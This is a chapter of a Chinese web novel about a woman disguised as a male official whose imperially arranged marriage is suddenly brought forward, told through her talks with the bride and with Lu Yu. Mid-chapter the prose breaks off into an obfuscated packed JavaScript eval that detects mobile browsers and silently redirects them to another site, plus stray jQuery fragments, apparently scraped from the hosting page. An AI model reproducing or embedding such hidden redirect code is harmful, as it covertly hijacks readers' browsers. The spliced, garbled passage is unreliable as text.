27. 口是心非

作品:《她做奸佞那些年

    提前完婚??开什么玩笑?提多往前?半年?一年?


    钱行之听了这消息猛地一站,倒是给梁世安也吓了一跳。


    “这……这如何使得?”钱行之努力挽回局面:“若是为不守孝提前完婚,只怕要遭人非议,晚辈如何也不能让梁家落入这般境地。”


    梁世安拉着她坐下,现在他对这个孙女婿是越瞧越满意:“实在是夫人牵挂着,不愿耽误了孩子,千般求我,我才面见了皇上。”


    钱行之心凉了半截,小腹也痛了起来,一时不知该如何回话:“这……这……”


    不是都说什么百善孝为先?昨日她还特地查问了南盛国的守丧礼制,只有过为了守孝推迟婚期的,从未听过已定了婚期却因此提前的!甚至还有过不愿守孝被罢官的先例。本以为可以再缓个三五年,谁承想梁家是趁热打铁要生米煮熟饭!


    更何况,这是皇帝定下的婚期,竟然这么轻易就提前了?梁世安这个老狐狸,明知钱行之是三皇子的人,竟然就因为她开口提了一嘴太子,就这般愿意拉拢她?


    梁鹭鸣嫁谁不是嫁,钱行之的家底也太磕碜了,梁家有必要这般下注在她身上?


    钱行之越想越觉得这里头有不少猫腻,可面上却只能先应下来:“陛下既已开口,晚辈自然遵从。只是,嫁到钱府终归是委屈了梁姑娘。”


    梁世安还好心宽慰她:“把鹭鸣交给你,我很放心。婚期定在了六月初六,是个好日子。”


    那岂不是就剩一个月了?她不如一头撞死算了,总归一月后被梁鹭鸣察觉了端倪也是要完蛋的。


    钱行之勉强挤出了个笑容:“一切有大人做主。只是……晚辈原想着这一年好好攒些钱,如今这一提前……”


    这婚期一提前钱行之可掏不出什么大排场,堂堂左都御史嫡亲的孙女下架给流民出身的钱行之本就是荒谬至极,若是再拿不出什么大阵仗,钱行之能被唾沫星子淹死。梁家更不必提,本就躲了守丧,回头不知道要被人编排成什么样。


    她总不能再去求陆瑜吧!


    “你不必有心理负担,”梁世安和蔼得叫钱行之感到害怕:“陛下说一切由他做主。”


    该怎么做?一哭二闹三上吊?冲着梁世安大喊其实我爱着另一个男人?要不然试试跟他说自己身患隐疾,梁鹭鸣嫁过来可能要断子绝孙?


    钱行之眼前发黑,哆哆嗦嗦扶着椅子坐下:“梁姑娘此刻大约正伤心,晚辈有个不情之请,可否准我与梁姑娘说会儿话?”


    “都要成婚了,何必这样心急?”梁世安调侃了两句却还是叫了梁鹭鸣进来。


    再见面梁鹭鸣依旧是个冰块子,钱行之倒是未能瞧出她对亲人病重的伤心欲绝又或是对即将出嫁的惊慌。


    “钱大人想同我说什么?”


    钱行之哑然。该怎么开口?


    其实我是个女子,我们成婚根本就是个天大的笑话,哈哈哈哈也许我们两家接下来都要完蛋了!


    钱行之抹了抹额上的汗:“听闻你祖母病重,本想与你谈话帮你打岔,现下却嘴笨得不知该如何安慰你。”


    “不必,”梁鹭鸣讲话总是果断:“我对梁家的人都没什么感情,你不必操心。”


    她今日格外冷淡。方才梁世安明明说过梁鹭鸣她祖母最受疼爱,怎么如今这情形看着倒像是有仇?梁世安究竟在打什么如意算盘?


    “钱大人喊我只是为说这个?”梁鹭鸣见钱行之被她的话噎沉默了,追问道。


    “不,不只是这些,”钱行之深呼吸:“我是怕这婚约给不了姑娘体面——”


    “我不在意这些,”梁鹭鸣飞快地打算钱行之:“我出生在梁府,自小不缺金银珠宝,机关算计我也见得多了。有梁府撑腰,将来我也不会缺钱花,钱大人也得看在祖父的面子上让着我。旁人如何取笑与我并不相干。”


    钱行之第一次被人唬住了:“可,可你不担心咱们感情不好?”


    钱行之憋不住在心里吐槽:岂止是感情不好,你将来的夫君可是实打实的缺斤少两。


    “有没有感情不都是一样过下来了?”梁鹭鸣嘴角哼出讥讽的笑:“梁府上下,谁有那么一丁点真心,早就被吃干抹净了。”


    “姑娘今日好像不开心。”钱行之扯开话题。


    这时候梁鹭鸣才显出一点小女儿情态,低眉垂眼:“……你不会懂的。其实,我知道你不愿娶我。”


    钱行之心里“咯噔”一声。只犹豫了一秒,她还是果断承认了:“是,我与你素不相识,所以我不愿。婚姻大事自然应当顺着自己的心意,而不是仅凭父母之言,听天由命。”


    “钱大人的想法倒是新奇。可惜了,你我是没这样的运气了。”梁鹭鸣闷声作答,俨然心事重重。


    “会有的,”钱行之郑重其事道:“你不要灰心,凡事都会有转圜的余地。”


    既然都是女子,一旦东窗事发,钱行之若是将罪责一应揽到自己身上,梁鹭鸣未必不能再觅得良人,届时钱行之若是有能力,自然会护着她。


    还有转圜的余地?梁鹭鸣抬头诧异地瞧着面前的人,正欲问话,却听得外头长辈叫人。


    谈话不了了之,钱行之终归还是没能坦白自己的身份。


    梁府这晚饭钱行之吃得很没滋味,客套话讲了一轮又一轮,笑到脸都僵了,待出了府门转身的那一刹那,钱行之直接蔫儿了。


    元墨在府外等着,见了钱行之的模样大骇:“钱大人,你怎么了?”


    钱行之话都不愿再多讲:“陆大人今夜有空吗?”


    元墨纳闷:“属下不知。”


    钱行之进了马车:“若他有空,请他半夜翻墙进来。”


    元墨虽感觉莫名其妙,却还是将话带进了陆府。


    “只说叫我半夜翻墙找他?”陆瑜也很纳闷:“他今日自梁府出来后神情怪异?”


    “是啊,”元墨不解道:“属下从来没见钱大人那样过。就像……”


    元墨回想起钱行之半死不活的样子,一阵恶寒:“就像下一秒就要倒地不起了……”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833149|189010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>陆瑜一扇子敲了过去:“乱说些什么话?你与元白这些时日都是抽的什么疯?”


    既然这般诡异,陆瑜自然要去瞧瞧钱行之是搞什么名堂。


    银檀不在,钱府的伙食状态又恢复了从前的水平。陆瑜来时就见她一人对着空桌发呆。


    “这是怎么了?”陆瑜一袭红衣翩然而至,他绕到钱行之身侧,低身探头瞧她呆滞的表情,没来由地心慌:“到底发生什么事了?”


    “梁世安同我说,他面见了陛下,将婚期提前了。”


    陆瑜以为自己耳朵坏了:“……什么?”


    钱行之拍案而起:“梁世安那个混蛋为了躲过丧期,将婚期提前到了六月初六了,就是下月!简直岂有此理!”


    “六月初六”这几个字给陆瑜的脑袋都砸懵了:“下个月?”


    钱行之回身瞧着陆瑜震惊的模样,摊了摊手:“陆大人,你怎么只会重复下官的话了?”


    与钱行之搭上关系的事情总是能脱离陆瑜的掌控。


    他能说什么?恭喜?他原先对婚期延迟有着很大的信息,或者是他太过草率地默认梁家对这桩婚事的不积极,竟叫他在这件事上出了岔子。


    可是说到底也就是钱行之娶妻生子而已?于他而言又有什么值得他这般牵肠挂肚的?


    他只是不喜欢事情超出掌控。陆瑜这样想着开了口:“只是感觉很意外罢了。梁家这样,看来是对钱大人的信心十万分之足了。”


    钱行之也不知为何她要半夜将陆瑜喊过来,更不明白为什么陆瑜听她喊了就来赴约:“我倒不这么觉得……梁家不知在打什么主意。往后要夹在三皇子与太子中间,想想我便头疼。”


    “原来并不是头疼婚事?”陆瑜意有所指:“我还以为,钱大人只是不愿娶妻生子。”


    钱行之苦笑:“只怕是躲不掉了,事到如今还是愁朝堂之事吧。”


    “还作数吗?”


    钱行之被陆瑜这一问问得摸不着头脑:“什么作数?”


    “你说的,你有意于我,还作数吗?”


    一句突兀的话,钱行之茫然地看着面色波澜不惊的陆瑜:“我……自然作数。”


    这是假话,那只是顺势的调戏,钱行之十分清楚。陆瑜的确做了不少叫她感动的事,可是要她动心还远远不够,又或者说,南盛国上下她通通爱不起来。


    若能给她选择的机会,她会立刻抛下所有回到原来的世界。


    此刻钱行之却只说得出违心的话:“怎么,陆大人要抢亲?”


    “若我说是呢?”


    钱行之呆住。是什么?真要抢亲?怎么抢?这是皇帝赐婚啊!不对不对,就是抢亲也没有男人抢男人的。


    有那么一瞬,钱行之感觉到了心跳加速。


    “不是抢亲,”陆瑜慌乱地解释:“我只是在想是否有折中的办法能叫你们被迫相处再缓一缓。”


    钱行之定了定心神:“陆大人有什么好法子?”


    “只能尽量一试,等我的消息。”